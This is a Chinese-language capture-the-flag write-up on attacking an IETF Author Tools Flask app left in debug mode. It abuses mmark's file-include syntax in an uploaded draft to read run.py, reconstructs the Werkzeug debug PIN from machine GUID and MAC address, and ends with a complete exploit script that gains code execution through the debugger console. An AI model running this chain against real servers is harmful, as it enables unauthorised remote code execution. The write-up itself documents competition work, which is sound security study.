作者:Cycloctane

题目环境

这次RW好像都是发的虚拟机。这道题也是,发了个带快照的虚拟机。附件信息中给了附件的环境与台上的环境的区别:run.py中app.__module__变量值为随机字符串,网卡配置不同。

恢复快照。进去看看进程:

可以看到运行了phpstudy,开启了nginx和php-cgi,和一个python应用,就是IE主页的IETF Author Tools。nginx监听80端口,php-cgi监听本地9000端口,python程序监听本地5000端口。nginx似乎是反代到python应用上的。

查看C:phpstudy_proExtensionsNginx1.15.11conf下的配置,看到nginx只是在反代python程序。php似乎完全没有被用到。

分析

先看这个python程序,在C:mydraft文件夹下,从虚拟机里导出来看。是一个flask程序,在run.py中更改了module名字,然后开启了调试模式。

from at import create_app

app = create_app()


app.__module__ = "random_string"

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000, debug=True)

由此当然能想到破解flask调试模式的PIN。按照题目信息的提示,虚拟机的环境应该和现场的环境一样,除了module的名字之外,生成PIN的因素大概率是可以预测的。因此主要思路就是想办法读run.py,拿到app.__module__,然后看看如何把PIN预测出来。本地9000端口还有php-cgi可以打,但看起来没什么可能。

再看应用本身的功能里是否有能利用的漏洞。在github上能找到这个应用的源代码仓库https://github.com/ietf-tools/author-tools,似乎是IETF用来转换RFC的各种格式?下载现在版本的源码。两边的代码都ruff一下然后diff看看,其中python部分的功能几乎没有区别。

审阅python应用的代码。应用主要做的事情就是提供一些API接口检查并转换RFC的文档格式,会处理文件上传的文件,调用subprocess用外部程序对文件进行转换,再把结果发回去,也会从远程API下载。但文件名都用werkzeug的secure_filename()处理过,请求也对hostname做了严格的限制,都不是很有可能利用。

看它用subprocess做的事情。并不是所有调用的命令都存在。在环境中依次尝试了一下,发现能用的有iddiff mmark id2xml xml2rfc svgcheck。

去查一下这些程序,最后在mmark中发现了文件包含的功能:https://mmark.miek.nl/post/syntax/#including-files

Including other files can done be with {{filename}}, if the path of filename is not absolute, the filename is taken relative to current file being processed.

那这下就简单了。上传一个包含{{run.py}}的文件,让mmark把run.py包含进来,就能读到app.__module__了。

直接上传一个只含payload的文件,选择转换为xml让mmark处理。但似乎因为缺少元数据加载不出来,因此从测试数据中挑一个样例tests/data/draft-smoke-signals-00.mmark.md改一下:

title = "octane protocol"
abbrev = "oct"
ipr= "trust200902"
area = "Internet"
submissiontype = "IETF"
keyword = [""]

[seriesInfo]
name = "RFC"
value = "1"
stream = "IETF"
status = "informational"

[[author]]
initials = "oct"
surname = "octane"
fullname = "cycloctane"
%%%

{mainmatter}

<{{run.py}}

实际尝试的时候发现{{run.py}}会出错,要改成<{{run.py}}作为代码块才行。payload上传上去成功把run.py带了出来。

整理一下读app.__module__的脚本。其中返回的url路径部分有一些bug,需要修一下:

from io import BytesIO
import re
import requests
from yarl import URL

BASE_URL = URL.build(scheme="http", host="192.168.153.13", port=80, path="/")

sess = requests.Session()

md = b"""%%%
title = "octane protocol"
abbrev = "oct"
ipr= "trust200902"
area = "Internet"
submissiontype = "IETF"
keyword = [""]

[seriesInfo]
name = "RFC"
value = "1"
stream = "IETF"
status = "informational"

[[author]]
initials = "oct"
surname = "oct"
fullname = "octane"
%%%

{mainmatter}

<{{run.py}}

"""

with BytesIO(md) as f:
    resp = sess.post(str(BASE_URL / "api/render/xml"), files={"file": ("draft.md", f, "text/markdown")})

urlpath = URL(resp.json()["url"]).path.replace("\\", "/").replace("C:/mydraft/uploads/", "")
resp = sess.get(str(BASE_URL.with_path(urlpath)))
print(resp.text)

m = re.search(r'app\.__module__ = "([^"]+)"', resp.text)
key = m.group(1)
print(f"key: {key}")

利用(破解PIN)

然后考虑如何利用这个漏洞进一步破解flask调试模式的PIN。环境中werkzeug的版本是3.1.3,查看对应生成PIN的代码:

https://github.com/pallets/werkzeug/blob/3.1.3/src/werkzeug/debug/__init__.py#L142

可以看到生成PIN使用了public_bits和private_bits:

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

而private_bits中使用的get_machine_id()在Windows上是注册表中的一个值:

        # On Windows, use winreg to get the machine guid.
        if sys.platform == "win32":
            import winreg

            try:
                with winreg.OpenKey(
                    winreg.HKEY_LOCAL_MACHINE,
                    "SOFTWARE\\Microsoft\\Cryptography",
                    0,
                    winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
                ) as rk:
                    guid: str | bytes
                    guid_type: int
                    guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")

                    if guid_type == winreg.REG_SZ:
                        return guid.encode()

                    return guid

附件虚拟机和现场的环境相同,因此get_machine_id()应该是相同的。uuid.getnode()是从MAC地址转换的,其实就是把MAC地址转换为整数。题目提示说附件虚拟机和台上环境网卡配置不同,不知道MAC地址会不会改变。

从虚拟机环境中收集一下。把环境中werkzeug的这部分代码(C:ProgramDataanaconda3Libsite-packageswerkzeugdebug__init__.py)中间加个print,然后重新启动一下python服务,

其中把modname从random_string改为之前从run.py读取到的真实app.__module__值即可。破解PIN:

def generate_pin(public_bits, private_bits):
    rv = None
    num = None
    h = hashlib.sha1()
    for bit in chain(public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv

然后还得想办法让应用报一个unhandled的错误,触发调试模式页面。由于环境中有些工具不存在,让subprocess调用一个不存在的命令就可以触发NotFoundError,比如往/api/abnf/parse端点POST一下:

根据虚拟机中的信息预测出来的PIN是110-895-084:

public_bits = [
    "Administrator",
    "random_string",
    "Flask",
    None
]
private_bits = [
    str(345043716183),
    "1dc7ed7e-cea1-4830-a721-f5a469c1a74f",
]

print(generate_pin(public_bits, private_bits))

看起来可以打成功。现在最大的问题就是不知道台上靶机的MAC地址会不会不同。但又看了题目描述:交换机同时连接选手攻击机和靶机。靶机ip为192.168.111.110。因此即使MAC地址变化了,台上的电脑应该是可以直接看到靶机的MAC的,查一下arp表就可以:

汇总之前几个脚本片段,最后的一键exp:把TARGET_MAC改成在台上接入交换机后从arp表中读到的MAC地址即可。

from io import BytesIO
from yarl import URL
import re
import requests
from itertools import chain
import hashlib

TARGET_IP = "192.168.111.110"
TARGET_MAC = "00-50-56-35-48-57" # <- replace this

BASE_URL = URL.build(scheme="http", host=TARGET_IP, port=80, path="/")

public_bits = [
    "Administrator",
    "random_string",
    "Flask",
    None
]

private_bits = [
    str(int(TARGET_MAC.replace(":", "").replace("-", ""), 16)),
    "1dc7ed7e-cea1-4830-a721-f5a469c1a74f",
]

sess = requests.Session()

md = b"""%%%
title = "octane protocol"
abbrev = "oct"
ipr= "trust200902"
area = "Internet"
submissiontype = "IETF"
keyword = [""]

[seriesInfo]
name = "RFC"
value = "1"
stream = "IETF"
status = "informational"

[[author]]
initials = "oct"
surname = "octane"
fullname = "cycloctane"
%%%

{mainmatter}

<{{run.py}}

"""

with BytesIO(md) as f:
    resp = sess.post(str(BASE_URL / "api/render/xml"), files={"file": ("draft.md", f, "text/markdown")})

urlpath = URL(resp.json()["url"]).path.replace("\\", "/").replace("C:/mydraft/uploads/", "")

resp = sess.get(str(BASE_URL.with_path(urlpath)))

m = re.search(r'app\.__module__ = "([^"]+)"', resp.text)
key = m.group(1)
print(f"key: {key}")
public_bits[1] = key

def generate_pin(public_bits, private_bits):
    rv = None
    num = None
    h = hashlib.sha1()
    for bit in chain(public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num
    return rv

pin = generate_pin(public_bits, private_bits)
print(f'PIN: {pin}')

resp = sess.post(str(BASE_URL / "api/abnf/parse"))
assert resp.status_code == 500

m = re.search(r'<div class="frame" id="frame-(\d+)">', resp.text)
frm = m.group(1)
m = re.search(r'\s+SECRET = "([^"]+)";', resp.text)
s = m.group(1)

resp = sess.get(str(BASE_URL / f"api/abnf/parse"), params={"__debugger__": "yes", "cmd": "pinauth", "s": s, "pin": pin})
assert resp.status_code == 200

def cmd(cmd: str):
    resp = sess.get(str(BASE_URL / f"api/abnf/parse"), params={"__debugger__": "yes", "cmd": cmd, "frm": frm, "s": s, "pin": pin})
    print(resp.text)
    assert resp.status_code == 200

cmd('import os;os.system("calc")')

这个还算是比较简单的题的,没什么难点。最后现场好像只有三四个队打出来了,有些队伍上台打但没有成功,咱猜大概是没考虑到从arp表读现场靶机的MAC地址这一步?